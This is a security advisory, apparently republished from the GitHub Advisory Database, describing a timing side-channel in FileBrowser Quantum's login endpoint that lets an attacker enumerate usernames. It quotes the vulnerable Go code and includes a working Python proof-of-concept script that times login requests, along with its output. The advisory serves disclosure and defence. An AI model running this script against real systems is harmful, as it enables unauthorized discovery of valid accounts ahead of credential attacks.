FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel

### Summary The `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. ### Details The vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45–52). The function performs a database lookup for the user prior to performing any password validation. ```go user, err := userStore.Get(username) if err != nil { return nil, fmt.Errorf("unable to get user from store: %v", err) } err = users.CheckPwd(password, user.Password) if err != nil { return nil, err } ``` If the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time. As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times. In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms. ### PoC The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline. ```python import requests import time import statistics # Configuration - adjust domain and wordlist as appropriate TARGET_URL = "http://localhost/api/auth/login" WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"] def measure(username): start = time.perf_counter() requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"}) return time.perf_counter() - start # 1. Baseline Calibration print("[*] Calibrating...") baselines = [measure(f"not_a_user_{i}") for i in range(20)] threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5) print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s") # 2. Validation Test for user in WORDLIST: t = measure(user) status = "VALID" if t > threshold else "invalid" print(f"{user:<15} | {t:.4f}s | {status}") ``` Example output (with `admin` and `user2` configured as valid users in the application): ``` $ python timeattack.py [*] Calibrating... [*] Baseline: 0.0041s | Threshold: 0.0256s admin | 0.0505s | VALID root | 0.0019s | invalid user2 | 0.0464s | VALID nonexistent_test_user | 0.0015s | invalid ``` ### Impact An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.

Source published

24 Mar 2026 19:18:56 UTC

Source modified

8 Jul 2026 17:56:10 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Publisher rating · MODERATE